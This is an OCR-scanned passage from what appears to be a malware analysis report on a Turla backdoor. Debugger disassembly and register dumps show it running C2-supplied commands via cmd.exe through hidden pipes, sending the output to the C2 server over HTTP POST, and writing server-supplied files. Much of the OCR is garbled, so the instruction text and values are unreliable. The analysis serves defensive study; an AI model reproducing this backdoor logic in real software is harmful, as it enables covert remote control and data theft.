call qwar"d ptr dr [«A:'IaseHanct'lb]
mov al,

imp tur'la 7FFBAT3B12EF

Page 13 of 25

RAX 0000000000000001
REX  0000000000000000
RCX  0DOO0DDDDDOOO0SFS
RDX  0000000000000001
REP  ODOODOSO3ELEF4AD
RSP  ODOODDSO3ELEF3AD
RSI  ODOODOSO3ELEF520
RDI  ODOODDSO3ELEF620
RE 0000000000000000
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A second anonymous pipe is created via a function call to CreatePipe:

24

oL
1F

DDOO7FF8A;

Figure 36

The read handle is set to be inherited
HANDLE_FLAG_INHERIT):

co
oL

|

Figure 37

00007FF8AT

58
&0

00

00

by calling the SetHandleInformation

00

00

FF FF|mov

FF

00

FF

qword ptr ss:[@rsp+ssll, FEFFFFFFFFFFFFFF,
lea r8,gword ptr ss:

mov

H rb 300

qword ptr ss.[r’spﬂio],FFFFFFFFFFFFFFFF
lea rdx,gword ptr ss:|[Jrsp+60f

lea rcx,qword ptr ss:|frsp+ss]

€all gword ptr ds:[<&CreatePipes]

test eax,eax

je turla.7FF8A73B1098

mov rcx,gword ptr ss:frsp+ss]

xor r8d,rsd

lea edx,qword ptr ds:[r8+1]

€81 gword ptr ds:[<&SetHandleInformation:

RAX 0000000000000001
RBX  0000000000000000
RCX  000D00OBO3ELEF3FS
RDX 000000803E1EF 400
REP  00ODDDOSOZELEF4AD

0000D0B03ELEF3A0
RSI 000000803ELEF520
RDI  00ODDDOSO3ELEF6Z0
RS 00D00D0BO3ELEF420
R9 0000000000000000

routine (0Ox1

xor rad,rsd
Tea de,qwur‘d ptr ds:[r8+1]

call ptr ds: [ﬂsetuand'lelnfurmanon:
test Eax,eax

je turla.7FFBA73B11F3

xor edx,edx

lea rcx,qword ptr ss:[Irbp-so]

lea r8d,qword ptr ds: [rdx+65]

€211 turla.7FF8A73813E0

mov rax,qword ptr ss:|Erbp+30]

1ea rcx,qword ptr ss:ffirsp+&sj

RAX  0000000000000001
REX  0000000000000000
RCX  00000000000005AC (5
RDX  0000000000000001
RBP 000000803E1EF4A0
BSE 000000803EL1EF3A0
RSI  000DDOSO3ELEF520
RDI  00DDDOSO3ELEF6Z0
RS 0000000000000000

The malware creates a process mentioned by the C2 server in the response (0x08000000 =

CREATE_NO_WINDOW):

turla.00007FF8A73B1179

0. 0000000000000000
0. 0000000000000000
0. 0000000000000000
0. 0000000000000000
0. 0000000000000000
0. 0000000000000000
0. 00000000000000004
0.0000000000000000

~ [5_2] 0] Uniodkec

Figure 38

WaitForSingleObject is used to

seconds have elapsed:

4c

B3
ac

AAARTEERATIRITAN

en

Figure 39

o 00D07FF8A7 48 8B 4C 24 50 mov_rcx qward ptr‘ ss:ffrsp+sof
s - 2SN | et e e RAX  000000803EicP4d0
. BO 05 ov
i 8 RCX  00000D0D00000D000
= S? gg 23 st i';?. 251?9;”“”512“ RDX  O000OD1F16BASADAL L cmd. exe”
. 48 C7 44 24 58 FF FF|mov qword ptr 55'[r;p*5n] FFFFFFFFFFFFFFFF RBP  O0D0ODOBOSELEF4AQ
. 4C 8D 45 80 lea r8,qword ptr ss:(irbp- ESE  0O00D00DBO3ELEF3A0
#| 00007FFaA73B10CA 48 C7 44 24 60 FF FF[mov gword ptr ss'[rsprGD] FFFFFFFFFFFFFFFF RSI  000000B03ELEFE20
. 48 8D 54 24 &0 lea rdx,qword ptr ss:[rsp+60] RDI  000ODDBO3ELEFE20
. 48 8D 4C 24 58 lea rcx,gword ptr ”'[rsp 53
. FF 15 A3 1F 00 00 €alll gword ptr ds:[<&CreatePipes] RS 0000000000000000
: ;ssguﬁ:'?:ﬁmnsmsa RZ 0000000000000000
. i Sacaass M rovawers por Soilssol Rio  000000000000000D
. 45 33 CO xor rad,rs
. 41 8D 50 01 lea adx,qword ptr ds:[rs+1] MR D0DDODED IE1ELERD,
. FF 15 AD 1F 00 00 €all qword ptr ds:[<&SetHandleInformation: | R1Z ~ 0000000000000002 “ =
o| oo007EFsAT 85 CO Test eax,eax R14  DODODIF1GBASADAL L"cmd. exe
----#|| D0DO7EFS v OF 84 F8 00 00 00 je turla.7FFBA73B11F3 R15  0O0DODDBO3ELEFE50
. 33 D2 xor edx,edx
. 48 8D 4D AD lea rcx,qword ptr ss:[rop-6of RIP  O0DO7FFBA73B1179
. 44 8D 42 68 lea rsd,gword ptr ds:[rdx+638]
. E8 D6 02 00 00 €all turla.7FF8A73B13E0 RFLAGS  00D000DOOND00246
B 48 BB 45 30 mov rax,qword ptr ss:[rbp+30] ZE1 PF1 AF O
. 48 8D 4C 24 68 Tea rcx,gqword ptr ss:frsp+6a] OF 0 SEO DFO
. 33 D2 xor edx,edx CFO0O TFO IF1
[ 48 B9 45 FO mov gword ptr ss: [rhp[m],rax
. 48 BB 44 24 &0 mov rax,qword ptr_ss:[rsp+6oj
. C7 45 AD 68 00 00 00|mov dword ptr ss:|[frbp-60J,65 LastError 00000000 (ERROR_SUCCESS)
. €7 45 DC 01 01 00 00|mov dword ptr ss: [rbp-u] 101 Laststatus CO00007C (STATUS_NO_TOKEN)
. 44 8D 42 18 lea rad,qword ptr dx+. lo]
. 66 89 50 EO mov word ptr ss: [r’b 20, GS D028 FS 0053
. 48 89 45 F8 mov qword ptr ss.[rbp—a],rax ES D028 DS 0028
. 48 89 45 00 mov_qword ptr ss:|[frbpl,rax C5 0033 g5 0028
. E8 9F 02 00 00 €&l turla.7FF8AT3B13ED
- 48 8D 44 24 68 lea rax,qword ptr ss:[rsp+ca] X87r0 00000000000000000000 STO Empty
. o ZERIE xar rod,rad o x87r1 0000000000000D000000 ST1 Empty
. G Rk ek Bt L7 q”g’"d g“" B5%:Mrcspraag, rax X87r2 000D0D000N000D00ON0DD ST2 Empty
= j: gg gg I o :gx'ginm pre as -l tnseoll X87r3 00000D000N000DDOD0DD STE Empty
& o mov rdx,ri4 izl x87r4 00000000000000000000 ST4 Empty
. 48 B9 44 24 40 mov gword ptr ss:[[rsp+40fl,rax x87r5 00000000000000000000 ST5 Empty
. 33 C9 XOr ecx,ecx X87r6 00000000000000000000 STE Empty
. 48 89 5C 24 38 mov gword ptr ss:[[rsp+38],rbx x87r7 00000000000000000000 ST7 EmPTy
. 48 89 5C 24 30 mov gword ptr ss:frsp+30Q,rbx
. €7 44 24 28 00 00 00|mov dword ptr ss:|frsp+28],8000000 x87Tagword FFFF
. C7 44 24 20 01 00 00|mov dword ptr ss:frsp+2 U], [ —
FF 15 D1 1E 00 0O call aword ptr ds:[<acreateProcessw>] v
L e = Default (x64 fastcall)
1 rex
qword ptr [0D0D07FFBA73B3050 <turla.&CreateProcessw>]=<kernel3z.CreateProcessi> 2: rdx 0DDDOD1F1GBASADAL L™ cmd.exe”
3: r8 0000000000000000
ra 0000000000000000
. text:00007FFBA73B1179 turla.d11:$1179 #579
5 0 000DD0803ELEF408
Woump1  @oumpz  @lpumps  WHoumpa  Wloumps @ watch1  Dellocak ) stuct  [ooomonorooiomoas
FRRTTEE Hex ASCIT '~ | 0o00c0s03E1EF3ED
000000503 1Er3F 5 BN unnnnnnn:mlsigga nooooosnaleFsaz
000000803E1EF408| 00 ot e Helnit
000000803E1EF418| 00 maz%gigss LE10)
000000803E1EF428| 00 e
000000803E1EF438| &0 \EF3E0 1EF440
000000503E1€F 448900 \Eracs 1EFa38

mov rex,guord ptr ss:frspresl I

mov_edx, EAGD

€all gqword ptr ds:[<&waitrForsingleobject>]
mov rcx,qword ptr ss:irsp+sa]

xor rod,rad

war rad’ rad
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RAX  0000000000000001
RBX  0000000000000000
RCX  000000000000059C 14
RDX  000000000000EAGD
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The output of the created process is copied from the anonymous pipe into a buffer by calling the

PeekNamedPipe function:

X87r3 00000000000000000000 ST3 Empty 0.0000000000000000¢

00007FFBA73B1105 oo €@l turla. 7FFBA73B13E0 RAX  0000000000000000
mov rax,qword ptr ss:[rbp+30]
A [1:] lea rcx,qword ptr ss:ErsmGo] :g‘: ggggggggggggggﬁg 1
00007FF8A73B1113 xor edx,edx &
D0007FFBA73B1115 mov gword ptr "-[rbp 100, rax RCX  0000000000000000
3B1119 60 mov rax,qword ptr H.{rs +GU§ REF  ODODODDS03ELEF4AD
BA73B111E 00 00 00|mov dword ptr ss:[rb 7605 BSP 000000803E1EF3AD
FBA73B1125 01 00 00|mov dword ptr ss:frbp-24§,101 RSI  0DOODDOOSO3ELEF520
BA73B112C lea r&d,aword ptr ds:[rdxi15] RDI  00DOODSO3ELEF620
00007FFBA73B1130 mov word ptr ss:[rhp—ao],bx
00007FFBA73B1134 o qwurd ptr ss:[irbp-a,rax RS 0000000000000000
00007FF8A7 381 13¢ o0 T T S S s )
7FFBA73B113 ca urla
00007FFBA73B1141 3 Tea ras qwgrd ptr ss:[Ersp+esl &ig ggggggggggggggsg gt
xor rod,ro
000D7FEBA73B114% 48 mov gqword ptr ss:[rspras],rax E12ES IO0DOOSNSETELER
00007FF8A73B114E xor ?Ed,rsg LTt LIS DOIONIONINONNE = x
00007FFBA73BL151 lea rax,gword ptr ss:[ rbp-sof R14  0OODOLFLEBASADAL L"cmd. exe
00007FFBAT3B1155 mov rdx,ri4 R15 000D00803ELEFG50
00007FFBA73B1158 40 mov gword ptr ss:[rsp+40f,rax
8A7 Xor ecx,ecx RIP  00007FF8A73B11DC turla.00007FFBAT3B11DC
38 mov gword ptr ss:[rsp+3s),rbox
30 mov gword ptr ss EVSPHD rbx RFLAGS  0000000000000246
00 00 00|mov dword ptr ss:frsp+2 ,oUUUUDU ZF 1 PF1 AF O
01 00 00|mov dword ptr ss:|[frsp+20;
00 00 €am gword ptr dﬂ[«(rea(ePrucessm] EE g ?E g [I’E g
test =ax,eax
- ine tur'la.?FFm?}suBs
00007FFEATIBI183 mov_rcx,qword ptr ss:frbp LastError 00000000 (ERROR_SUCCESS)
00007FFBA7 381187 00 00 €am qword ptr ds:[<&C 1useuand1a] Laststatus C000007C (STATUS_NO_TOKEN)
00007FFBA73B1138D 50 mov. rcx,qwor‘d ptr ss:firsp+
00007 FF“"SELLQ’ 00 00 €& gword ptr d(:[c.:nuseuand'la] GS 0D2B FS 0053
00007FFBA73B1193 60 mov F ex vawerd ptr ss:[irsp+60] ES 002B Qg 0028
00 00 €all quord per ds:[c.:nuseuaan] CS 0033 53 002B
58 mov_rcx,qword ptr ss:rsp+
00007FFBA73B11A8 00 00 €all gword ptr dS:[ﬁTDSEHﬂ"ﬂE’] X87r0 00000000000000000000 STO EMPTy 0.0000000000000000C
bt it o e - ';"% ﬂr?a R —— x87r1 00000000000000000000 ST1 Empty 0.0000000000000000(
Eahtas i e x87r2 00000000000000000000 ST2 Empty 0.0000000000000000(
00007FFBA; 68 mov rcx qwor-d ptr ss:[Brsp+esl o
0

00007FFBA73B11R 00 mov_ed
00007EF8A73B11BF 00 00 call qword p\:r' ds: [<&wa1(ForS1ng1eDb:|ect>] x87r4 00000000000000000000 5T4 Empty 0.0000000000000000
00007EFEATIE11CE cg mov rex,qword ptr ss:lirsp+5ail X87r5 00000000000000000000 ST5 Empty 0.0000000000000000(
O0DOTEFBA73B11CA xor rad,rad X87r6 00000000000000000000 5T6 Empty 0.0000000000000000¢
00007FFBA73B11CD xor rid,rad X87r7 00000000000000000000 ST7 EMpTy 0.0000000000000000(
28 mov gword ptr ss:[@rsp+2s),rbx
xor edx, edx x87Tagword FFFF
20 st qwurd per_ss:Hrsp:20l, rdi R e A AT
00 00 call _per ds: [<&PeekNamedeipes] —
- = Default (x64 fastcall)
gword ptr [DDOO7FFBA73B3058 <turla.&PeekNamedPipe»]=<kernel32.PeekNamedPipe> ; o e
3: rg 0000000000000000

r9 0000000000000000

. Text:00007FFBA73B11DC turla.d11:$11DC #5DC

0000000000000000
0000000000000000
0000003000000000
000000000000059C

1EFE20

WWoump1  @oump2  @MDump3  @4Dump4  @lpump5 @ Watchi  kellecls P Struct
Address Hex | ASCII | ~
000000803E1EF3F8 [AC 05 00 00|00 00 00 00|AO0 O5 00 00|00 00 00 00
DDDDDD&D3E1EF‘IDS aC 05 DO 00|00 00 00 O0|A4 O5 00 00|00 QOO0 0O 00

UUUUUDDD:ELEFSAS
000000803E1EFZRO0
000000803E1EF3BS
EF3CO

1EF3C8

Figure 40

The process reads data from the pipe using ReadFile:

. 48 BB 4C 24 58 mov rcx,qword ptr Ss:[irspssll
£ o e oy RAX  00D0DOLF16BSE22D0
% ehaco s L e REX  0000000000000000
: b . RCX  000D0D00000D00SAC (e
. 48 89 5C 24 28 mov gword ptr ss:[Brsp+zsl,rbx
- 33 b2 xor e ke RDX  O0DDDOIF16B9E22D0
. 48 89 7C 24 20 ov_gword ptr ss:[@rsp+zof,rd REP  ODDDOOSO3ELEF4AQ
. FF 15 76 1E 00 0O ;am gword ptr ds: [c&PEEkNamEdPIpE)] BSE  000000B03E1EF3AD
. 85 CO Test eax,eax RSI  D00DOOBO3EIEF520
. v 75 3F Jne turla.7FEBA73B1225 RDI  000000B03EIEFE20
. 48 BB 4C 24 68 mov rcx qword ptr ss:[irsp+esl
. 33 D2 R8 0000000000000078 X"
. FF 15 95 1E 00 0O caTI qwurd ptr d'-[<a‘[rerm1na:eProcess>] R 000D00803E1EF4DS
. 48 88 4D 30 mov_rcx,qword ptr rbp+3
. FF 15 43 1€ 00 00 |gall qword ptr ds:[<aCloseHandles] L e
. 43 BB 4C 24 50 mov _rcx,quord ptr ss:frsp+50 R12 000000803E1EFGRD
. FF 15 38 1E 00 00 €am gword ptr ds:[<&CloseHandles]
. 48 8B 4C 24 60 mov recx,qword ptr ss: [ rsp+6o] Laldl adLrrsed st o =
. FF 15 2D 1E 00 00 €l aword ptr ds: [c.sc1useuandle>] R14  OODDOLFLEBASAOAL L"cmd. exe’
. 48 8B 4C 24 58 mov rcx,qword ptr “.[rs +5 R15 000000803E1EFE50
. FF 15 22 1E 00 00 €&l gword ptr ds: c.snuseuamﬂe]
. BO 05 mov al,s RIP  0D0DD7FFSAT3B128C Turla. 00007 FF8AT38128C
~ E9 CA 00 00 00 jmp turla.7FFBA73B12EF
8B OF mov ecx,dword ptr ds:[rdi] RFLAGS  0000000000000202
85 C9 test ecx,ecx ZF 0 PF O
~ OF 84 86 00 00 00 je_turla.7FF8A73B1285
. E8 DC 00 00 00 a1l turla.7FF8A73B1310 gi g .IS.E g ?E 2
. 43 89 06 mov gword ptr ds:[rsi],rax
. 48 85 €O test rax,rax
ey v 75 3C ine turla.7FFeA73B1278 LastError 00000000 (ERROR_SUCCESS)
. 48 8B 4C 24 68 mov rcx,qword ptr ss:[frsp+6si LastStatus CO00007C (STATUS_NO_TOKEN)
. 33 D2 xor edx,edx
. FF 15 3F 1E 00 00 €&l qword ptr ds:[<&TerminateProcesss] GS 0028 FS 0053
. 48 88 4D 30 mov rcx,qword ptr ss:rbp+30] ES 0028 DS 0028
. FF 15 ED 1D 00 00 cal qwurd ptr ds: [«c]oseHamﬂeﬂ €5 0033 35 002B
. 48 BB 4C 24 50 mov_rcx,qword ptr ss:frsp+sol
- 5; éé Eé g-l: gg 00 €&l qword p;f' tt" [<8C[1058"55|¢13>] X87r0 00000000000000000000 STO Empty 0.0000000000000000C
s BOVEY, CX - QO FLE: R RES x87r1 00000000000000000000 ST1 Empty 0.0000000000000000C
. RIS Rz 100000 m@‘rg‘:“"gﬂf;" &= [""E:gse"a{l“ﬂa] x87r2 00000000000000000000 ST2 Empty O.00000000000000000
= S GG b ot oo ) qm'"'!d ptr."d, fﬂm“"and]a] X87r3 00000000000000000000 ST3 EMPTY 0.0000000000000000C
. BO FF T X87r4 00000000000000000000 ST4 EMPTY O.0000000000000000C
v EB 7T Jmp Turla.7EESA73B1ZEF X87r5 00000000000000000000 STS EMPTY 0.0000000000000000C
14 8B 07 mov r8d,dword ptr ds: [m'] x87r6 00000000000000000000 STE Empty 0.0000000000000000
. 4C 8D 4D 38 lea ro,quord ptr = bp+25l x87r7 00000000000000000000 ST7 Empty 0.0000000000000000C
. 48 88 4C 24 58 mov rox qword ptr ss:[frsp+s &l
. 48 88 DO mov rd x87Tagword FFFF
. 48 89 5C 24 20 mov_gword ptr ss: [irsp+20f, rbx e W —
FF 15 06 1E 00 00 €arl gword ptr ds:[<&ReadrFiles] "
. i T ,  |Default (x64 fasteal)
0000000000000
qword ptr [DDO07FFS8AT3B3098 <turla.&ReadFiler]=<kernel3z.ReadFile- rdx OD0001F16E3E22D0
r8 0D000000D000007S
r3 000000303E1EF4DE
. text:D0D07FFBAT3B128C turla.dl1:$128C #68C
P 0000000000000078
@Woump1 | Wipumpz  Wloump3  WWpump4 | WlHoumps | @ watchi  bellocals | P Stuct | ocDRCoRoTToRAT| 0000S0E0IEIEEE 20 ¢
PRI Hex ASCIT 000000803E1EF3E0 | 000000803ELEF620
I 000000303E1EF 268 | 000000000000059C
000001F1689E22D0 (B0 00 00 00[00 00 00 00[00 00 00 00[00 00 00 DO[RL... ... vrunn | 1EF2€0

Figure 41
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Address Hex ASCIT
ODDOODLF1GE9EZ2D0 | 4D 69 63 72 |GF 73 GF 66|74 20 57 G69|6E 64 GF 77 |Microsoft window
ODDO0DLF16B9E2ZED |73 20 5B 56|65 72 73 69|6F 6E 20 31|30 2E 30 2E|s [Version 10.0.
00000D1F16B9E22F0| 31 36 32 39(39 2E 33 30|39 50 0D 0A|28 63 29 20|16299.309]..(c)
O0DOOLF16B9E2300| 32 30 31 37 |20 4D 69 63|72 6F 73 6F |66 74 20 43| 2017 Microsoft C
O0DOODLF16B9E2310|6F 72 70 6F (72 61 74 69|6F 6E 2E 20|41 &€ &C 20|orporation. ATl
OD00D1F16B9E2320|72 69 67 68|74 72 20 72|65 73 65 72|76 65 G4 2E|rights reserved.
00000LF16B9E2330 |00 OA 0D DA |43 3A 5C 57|69 GE 64 BF |77 73 5C 53|....C:\Windows\s
DODOODLF16B9EZ2340 |79 72 74 65 (6D 33 32 3E|B81 D5 A5 2E|00 33 00 8C|ystem32=.0¥..3..
Figure 42
The backdoor kills the process created above using the TerminateProcess routine:
i a3t i R Sasssscenmuirs
FF 15 C6 1D 0O 00 call gword ptr ds:[<&TerminateProcess>] e
H e e R O | S L o RoX 0000000000000

Figure 43

The execution flow of creating a POST request (WinHttpOpenRequest -> WinHttpAddRequestHeaders ->

WinHttpSetOption -> WinHttpSendRequest) is repeated and will not be detailed again. The process output is

exfiltrated to the CnC server:

UUUL/E
Q0007F|
00007F!

i
v

4D
c7

z4
10

EO

FF
o0

00

00
33

00

00

20
00

00

00

D4
72 10 00 00

mov_rox,ri
call wr]a 7FF3A7331430

mov risd,

Tea ecx,qword ptr ds:[rax+10]
€all turla.7FF8A7381310

mov rdi,rax

test rax,rax

je tur]a 7FFEAT3BZ0CD
mov rs

Tea rdx qword ptr ds
mov_rcx,rax

€all turla.7FF8A7381390

lea rcx,qword ptr ds:[rdi+E]
mov rad, rlSd

mov_rdx,ril.

call tur]a 7FFB8AT3B1390

mov rad, 20000000
or rad,FFFFFFFF
mov. rd)( rdi
mov_rcx, ,rbx

call qwor‘d ptr ds
mov rcx,rbx

test eax,eax

je tur]a 7FFBA73B20D0O

mov rad,

mov dword ptr ss:frbp+ssl SSUU
lea r3,gword ptr ss:frbp+
o ody, guord pir SB:[F3r18]

call qwor‘d ptr ds: [<&winHttpSetoption>]
mov rox,rbx

test eax,eax

je turla.7FF8A73B2000

: [7FF8A73B3130]

: [<&winHttpAddRequestHeac

mov edi,dword ptr ss:[frbp+saf
xor risd,risd

mov gword ptr ss:frsp+30f,ris
xor rad,rad

mov dword ptr ss:frsp+2s],edi
xor rad,r8d

xor edx,edx

mov _dword ptr ss:[frsp+zof,risd

€alll qword ptr ds:[<&WinHttpSendRequests]
moV rx,rbx

test eax,eax

je turla.7FFBA73B20CE

lea r9,gword ptr ss:[frbp-20]

mov rad,edi

mov_rdx,riz

RAX

RCX
RDX
REP

RSI
RDI

RE

R1D
R11
R12
R13
R14
R15

RIP

RFLAG:
ZF 0
OF 0
CF o

LastEl

GS 00:
ES OO
€5 00

X87r0
x87r1
X87r2
X87r3
HB7ra
XB7rS
X87r6
X87r7

x87Ta

0000000000000001
000001F16B9BBF 60
0D00D1F16B38BFE0
000001F16B5DA650
000000803E1EFEE0
000000B0ZELIEFE00
0D00D1F168379130
000000000000007 A

000000000000007A
0D00DDS03ELIEFE40
0D00D1F16B970D80
0000000000000246
000001F16B9DAE50
0D0001F16838EDD0
0DO0D1F16B981EED
0000000000000000
0D007FF8A73B2068
S 0000000000000202
FF O

SF 0 DF O

TFE O IFE 1

rror

2B FS 0053
2B QS 0028
33 335 002B

00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000

gword FFFF

&L"Dad3e319-280c-4T11-94d4-¢
&L"SYSTEMY\CurrentControlset
2

e

L'E"

L"Dad3e319-280c-4T11-94d4-d:

Turla.D0007FFBAT 382068

STO
ST1
sT2
ST3
ST4
5T5
5T6
ST7

00000000 (ERROR_SUCCESS)
LastStatus CO00007C (STATUS_NO_TOKEN)

EmpTy
Empty
Empty
EmpTy
EmpTyY
Empty
Empty
EmpTy

SR aslSee

000000000000000¢
000000000000000¢
000000000000000C
000000000000000¢
000000000000000¢
000000000000000¢
000000000000000C
000000000000000¢

€a11 gword ptr ds:[<&winHttpwriteDatas]

i

qwor

ptr [00DD7FFBA73B30ED <turla.

. TeXT:00007FF8A73B2068 turla.dl1:52

068 #1468

WinHTtpwriteData>]=<winhtIp.WinHTTpWriteData>

2
3: ra
EicD!

ML
| Default (x64 fastcall)

~ [5_F] 07 unlock

rcx D00D01F16B38BF60
rdx 000D01FLEBIDAGSD

000000000000007A
000000803E1EF640

@ooumpl  @4Ypump2 B4 Dump 3

W4 Dump 4

4% Dump 5

B watch 1 Iv=llocals 47 Struct

ASCIT 7 0000008

000001F16B9DAEE0
0D00D1F16BIDAG60
000001F16B9DAGT 0
000001F16B3DA680
0D0001F16B3DA690

0D0001F16B3DAGCO

Figure 44

6F

0000008

.Microsoft wind 0000008

31 ows [version 10.

oA 0. L5299 309]..(c

6F ) 2017 Wicrosoft

20 corporation. Al 7
52 ] rights reserve :;88883;8;
6F 77 73|d..... €2 \wwindows bt

\Syste'nzz:- ...... nANNANeN 3|

1st byte = 0x03 — create and populate a file

The backdoor creates a file specified by the C2 server using CreateFileW (0x40000000 = GENERIC_WRITE,

ELE
E1E

E1E

0x2 = CREATE_ALWAYS, 0x80 = FILE_ATTRIBUTE_NORMAL):
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DO00D1F16BAZ166E
000001F16B981EED
00007 FF60000004A
000001F16B979130
0000000000000000
000000000000007A
0000000000000000

L"0ad3e319-280C-4T11-94d4-d369
L"Dad3e319-280c-4T11-9404-d363

&L"SYSTEM\\CurrentControlSeth’
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o 33 D2 xor edx, edx
: & 5% ar 50 00 00 oo gov Gwets prr se:lrspisall, Rax  ooooosomooooooiz
. 48 8D 4D 8F lea rox,qword ptr‘ ss: [ rbp- 710 (4 s
. €7 45 EB 01 01 00 0O|mov dword ptr s :[Brbp- 15],LDL REN QUIIDLET GHAS AL L"file.txt
. 44 8D 42 18 ea r&d,quord ptr ds: [rdx.15] RDX  0000000040000000
® E8 C6& FC FF FF r.ﬂ‘l mr'la 7FF8A73B13E0 BB OUGIOREN IETEE A1 "
o 48 8D 45 BF ea rax,qword ptr ss:[frbp-71f RSP 0OO0DDDSO3EIEF4DO L File. txt”
. 45 33 ED xor- risd, pp RSI  00000D0D0000D0012
B 48 89 44 24 48 mov gword ptr ss:@rsprasll,rax RDI  0000D1F16BASADAL L"File.txt"
. 45 33 C9 xor rad,rad
- E] 48 8D 45 AF lea rax,qword ptr ss:[rbp-s10 RE 0000000000000000
. ] 45 33 CO xor rad,rad : R9 0000000000000000
s 2 :g g; S; 24 40 Doy ?‘a‘:’sd?" ss:Irsp+aofll, rax R10  00000D000000000D
- 4 & R11  OO0DDDBOZEIEFSED
. ] 4C 89 6C 24 38 mov gword ptr ss:frsp+3af,ri3
. 5 Saico. et R12  0O0DDDSO3EIEFEBO
. E 4C 89 6C 24 30 mov gword ptr ss:[frsp+30f,r T I SO ENN MO .
. 4 C7 44 24 28 00 00 00|mov dword ptr ss:[frsp+23], DUUUUUU R14  0000000000000020
. = €7 44 24 20 01 00 00|mov dword ptr ss:[frsp+20{,1 R15 0O0000D803EIEFES0
. 4 FF 15 F6& 18 00 00 €& gword ptr ds:[<&CreateProcessws]
B A 41 8B DD mov ebx,rizd RIP  O0007FFEAT3IBLTCE turla.00007FF8AT3B17CE
. o 41 B9 04 00 00 00 mov rod, 4
bt 3 85 co test eax,eax RFLAGS  0000000000000246
. 5 41 OF 44 D9 cmove ebx,rod ZF 1 PF 1 AF O
al - E9 48 06 00 0O jmp turla.7FF8A73BIDEG
. E 4C 8D 4D 7F lea ro,qword ptr ss:[frbp+7Fl EE g .?E g 2E i
. 2 41 8B D& mov edx,rl4d
: i :g gg 2; 2430 ,1;3 I[a q'mrd ptr ss:Ersprsoll LastError 00000000 (ERROR_SUCCESS)
- D ES 7E F& FF FF call tur'lﬂ 7FFBA73B1000 Laststatus CO00007C (STATUS_NO_TOKEN)
. 2 OF B6 D8 movZx ebx,al
@ s| ~ E9 29 06 00 OO jmp turla.7FF8A73B1DB3 GS 0028 FS 0053
o A 48 8B CF mov_rcx,rdi ES 0028 DS 0028
. o E8 9E FC FF FF €&l turla.7FFBA73B1430 CS 0033 S5 002B
. 2 45 33 ED xor ri3d,ri3d
. 5 8B FO mov esi,eax ¥87r0 00000000000000000000 STO EMpTy 0.0000000000000000(
41 3B C6 "gp ea;l ,rLad X87rl 00000000000000000000 ST1 Empty O.0000000000000000(
= = ;s Si 'antgq RERRRR T x87r2 00000000000000000000 STZ Empty 0.0000000000000000
. z x87r3 00000000000000000000 ST3 Empty 0.0000000000000000
52 g 22 22 23 . ;ﬁ;:g'giia’:g?%&:gfsu},us x87r4 00000000000000000000 ST4 Empty 0.0000000000000000
45 33 €9 Xar ro x87r5 00000000000000000000 ST5 Empty 0.0000000000000000(
o €7 44 24 28 80 00 00|mov d...o,-d ptr ss:frsp+zelll, 80 x87ré6 00000000000000000000 ST6 Empty 0.0000000000000000
. 45 33 CO xor rad,rsd x87r7 00000000000000000000 ST7 EMPTy O.0000000000000000
. BA 00 00 00 40 mov edx, 40000000
- €7 44 24 20 02 00 00|mov dword ptr ss:[rsp+2ol,2 x87Tagword FFFF
o ( 00007FF8AT 48 8B CF mov_rcx,rdi e ——
F FF 15 &C 18 00 00 call qrmrd ‘pEEIdST[<acreaterilews]
. Ser 5 |Defeult (x64 fasteal
qword ptr [DODD7FFB8A73B3038 <turla.&CreateFilews]=<kernel3z.createrilews vy mé;&i%ﬁﬁgﬁé N——
r& 0000000000000000
. Text:00007FFEAT3B17C6 turla.d11:$17C6 #BC6 LSRRIy
Woump1  @Houmpz  @Hoump:  PMoump4  WWoumps @ wath1  ellewls ) stuc [Dooooe e [ AR
000000803E1EF4E0 | 0000000000000000
RS HeL, AFIL * | booo00s0zE1EF 4238 | 0000DOD0000000DD
000001F16BAS9F20(00 00 00 00|00 00 00 00]00 00 D0 00[00 00 00 00 e
000001F16BA59F30(00 00 00 00(00 00 0O 00(00 00 00 00|00 00 00 OO TErhH
000001F16BAS9F40(00 00 00 00[00 00 00 00[00 00 00 00(00 00 00 00 IErahs

Figure 45

The WriteFile API is utilized to populate the file with data received from the server:

» s e b L g;’:’zfd?t" ssillrspraoll,rax RAX 0000000000005 30
. 4C 89 6C 24 38 mov gword ptr ss:frsp+3sl,riz s L
. 33 C9 Xor ecx,ecx - =
. 4C 89 6C 24 30 mov gword ptr ss:[rsp+30f,ri3 RER OO E 1 GRASAGRT LSbesl
- €7 44 24 28 00 00 00|mov dword ptr ss:(irsp+25), 8000000 RLBEENE DOTI00RN BT EE S R X
. €7 44 24 20 01 00 00|mov dword ptr ss:firsp+2 03,1 BSE  000000S03E1EF4DO &L Tile.txt
. FF 15 F6 18 00 00 €& gword ptr ds:[<&CreateProcessw:] RSI 0000000000000012
o 41 88 DD mov ebx,ri3d RDI  000001F16BASADAL L"file. txt"
. 41 B9 04 00 00 0O mov r
. 85 co test =ax,=ax RE 000000000000000E
. 41 OF 44 D9 cmove ebx,rad RS 0O000DSOIELEFE08
. ~ E9 48 06 00 00 jmp turla.7FFBA73BIDBE
: e N T Rio  coowosrissszzico
. 41 8B D& mov edx,ri4d
. 4C 8D 44 24 50 Tea r8,quord ptr ss:Ersp+50] 178 Coo0upnnaL L EGRG,
. 43 BB CF MOV rcx,rdi R13  0000000000000000
. E8 7E F8 FF FF Eall turla.7FF8A73B1000 R14  000000000000000E
. OF B6 D3 movzx ebx,al RIS  O00000B03ELEFES0
. ~ E9 29 06 00 00 jmp turla. 7rrm73|;1n53
. 48 88 CF mov_rcx,rd RIP  00007FFBA73BITF2 turla. 00007FFBAT3B1TF2
. E8 9E FC FF FF call tur'la 7FFaA73|1430
. ;53 Eg ED xor rizd,rl RFLAGS  0000000000000212
. mov esi .eax ZF 0O PFO AF 1
. 41 3B C6 cmp eax,ri4d OF 0 SEFO DFEO
. ~ 72 07 jb turla.7FFBA73B17A3 EEid or o Gr
. B3 01 mov bl,
~ E9 13 06 00 00 jmp turla.7FFBA73B1DBG
4C 89 6C 24 30 mov gword ptr ss:[rsp+30f,r13 LastError 00000000 (ERROR_SUCCESS)
45 33 C3 xor rad,rsd LastStatus COO0007C (STATUS_NO_TOKEN)
€7 44 24 28 80 00 00|mov dword ptr ss:[rsp+2sf,80
45 33 CO xor rad,rad G5 002B FS 0053
BA 00 00 00 40 mov edx, 40000000 ES 0028 DS 0028
C7 44 24 20 02 00 00|mov dword ptr‘ ss:lrsp+2ol,2 CS 0033 55 0028
48 88 CF MoV FCX,lr
